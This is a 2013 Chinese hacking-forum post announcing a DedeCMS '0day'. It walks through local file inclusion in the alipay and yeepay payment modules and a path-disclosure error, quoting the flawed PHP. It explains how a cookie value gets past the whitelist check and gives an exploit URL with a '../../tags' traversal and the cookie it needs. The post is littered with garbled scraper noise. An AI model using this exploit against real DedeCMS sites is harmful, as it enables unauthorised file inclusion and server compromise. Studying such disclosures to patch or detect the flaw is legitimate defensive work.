找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1929|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
0 B& v: D/ F) g0 E
, \3 S5 T: y5 _; C" e出现漏洞的两个文件为:
# w+ O0 m$ b; ^; T2 l3 m- TInclude/payment/alipay.php
  L4 t+ x# W. [7 U0 Q; s0 TInclude/payment/yeepay.php
- u' `0 ^! v; `漏洞均出现在respond方法里,估计这两个文件是临时工写的。7 T. b, o: y8 o& F/ [3 Y
& I) l- K: ]4 L8 y% w* q1 w' e
Include/payment/alipay.php
, M! s, A) V; p, Q0 [2 b* b$ J" c3 z! [5 a" o7 k# _: n# [) j2 d
......
9 n, @2 F5 K, A- C. f' L" W   function respond()
& B. n( W% d# T3 w7 m4 r    {! D1 a1 b3 L' p9 c) \9 T
        if (!empty($_POST))
$ ~! m, t6 Q& S# e0 C- _. I        {
, O8 k4 @0 ^0 P5 I( q0 z- z5 m            foreach($_POST as $key => $data)) l9 Z: a' D: D, n; p5 I
            {
0 b. g0 ~. S. F% ?$ r                $_GET[$key] = $data;
# L; A7 e+ k! l3 g  |* a. o: W4 A            }2 ], Y* w7 h( ]3 ]
        }
7 z$ h$ M- p& C- ~9 H        /* 引入配置文件 */, I5 W/ T/ K$ H4 O( j# d3 J0 U4 ~4 g
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';* H, O1 S2 Y* _8 u/ N
...... $ [, Q6 B" ?/ S% g6 k9 H
3 q% S2 z' i9 L- i$ y/ R5 [# U$ A

, d& Q% |5 M: R5 _大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
5 e8 v3 h8 i- l8 M# ]# T2 Q: f( n# h3 x/ F* p# t
Include/payment/yeepay.php- @, O  S0 `( N) g3 W
+ A& O7 S8 }# i- _! d
3 y8 z( u$ I6 y9 p( Q' h
: E9 ]3 r/ \$ |+ A/ ^
......
* _; |8 a8 ~, c    function respond()
& O$ m  x. k+ h$ W/ Q7 \    {9 Y' r" S1 v# L' A2 i

+ m! ^1 }; G7 [, R; {. r/ y% o# n        /* 引入配置文件 */* i4 T  u, p9 L, t5 P% \0 v( y0 i
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
2 M- l+ |$ w& r / P" y' M/ j) A/ Q* w- ~( q
        $p1_MerId = trim($payment['yp_account']);
) f2 j$ y* N- T( J! u8 x        $merchantKey = trim($payment['yp_key']);
1 O0 J2 x/ f; Y) h- o......
) S& ^3 `. _! q6 t/ f* L / h2 ?' m6 p) U* _5 v% Z, L# I

9 S" Z! ]) j9 ]* _ 1 I1 K: F0 x4 U$ ^8 F+ `/ e* B

* |) J' J( o1 ^- i大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。+ _, ^* _" Q: f+ m- K
2 h& z* d  O6 L) G: z( y4 c
这两个方法在plus/carbuyaction.php文件调用。+ w. w1 O' ?9 I7 F4 U

) G; W1 f; o0 Y2 Dplus/carbuyaction.php/ U3 `, e8 U6 V( [1 ^/ @4 z

0 ?1 H5 l1 a$ j......
  }+ |# W) Z# }3 T% C  h9 B" Q' x, r} else if ($dopost == 'return') {8 {  ^8 W$ Z  F; v& G) o
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
! L# H8 Q" ?+ t6 J8 v    if (in_array($code, $write_list))# ]' ^% d' g+ A( ]( o! p
    {& _  |( d2 U% K9 U+ }& ^4 [5 t
        require_once DEDEINC.'/payment/'.$code.'.php';" L/ g( h9 s( {* T
        $pay = new $code;. v7 e0 h- I! c# q2 J0 t
        $msg=$pay->respond();8 g: j- B, O/ a$ q: }, n/ N+ K# V
        ShowMsg($msg, "javascript:;", 0, 3000);
" J0 n7 t% `7 M( _! m7 r) R3 J        exit();  & d  l7 c0 `8 T
    } else {" g: J7 s; s0 N* V
        exit('Error:File Type Can\'t Recognized!');
5 U  k' c7 \. v! F8 q( n) @/ D! w    }. K' H6 z9 b5 i7 x
}
3 [" W1 y% l  C& m. Y8 w) S$ a7 h...... % B" O. j8 f+ {+ @  ^" [. q

" Z1 [- Y/ R8 i5 N4 `) h
5 U. G6 z. H+ H& |1 G8 m4 C% `" E
2 E/ W5 F* z9 ?" D2 b) j4 X- j$ k8 C3 ^2 ^& K' C4 G7 z

# @6 ~3 f: B7 P7 w- f4 G
3 W- a% b  p4 s0 r0 n大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。1 P  G( |  N! d# H& t' o: T3 u4 U
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
! q( i: L$ G! ]. f$ ?5 o% x% d& o. @
回到include/common.inc.php来看看他的机制。
' K  Q: t5 {. Y- F* ?% L/ E+ v$ u2 L  t/ W

3 _* B) L# X$ k. t% h+ i/ P0 j: P
......6 J4 C6 q. o) o7 r+ l0 R
foreach(Array('_GET','_POST','_COOKIE') as $_request)
% n7 b8 n9 B7 G/ P: t+ O( O{3 Z/ O  F% N4 J0 r! [. ]
        foreach($$_request as $_k => $_v)
0 _) F4 z9 i7 T        {3 R8 ~  ^( ?+ F% [  ^: m  I
                if($_k == 'nvarname') ${$_k} = $_v;! T6 a) B9 Q1 e" m' d# B
                else ${$_k} = _RunMagicQuotes($_v);
/ v% y, V2 H' c        }8 m& X: d' k2 k- d* P% g7 x- n
}, R( X1 p/ d5 E( O- p9 e
......
/ j) M) `+ x/ h9 h: U1 l2 a大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
5 t/ V, S; W* `' V6 D' L由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表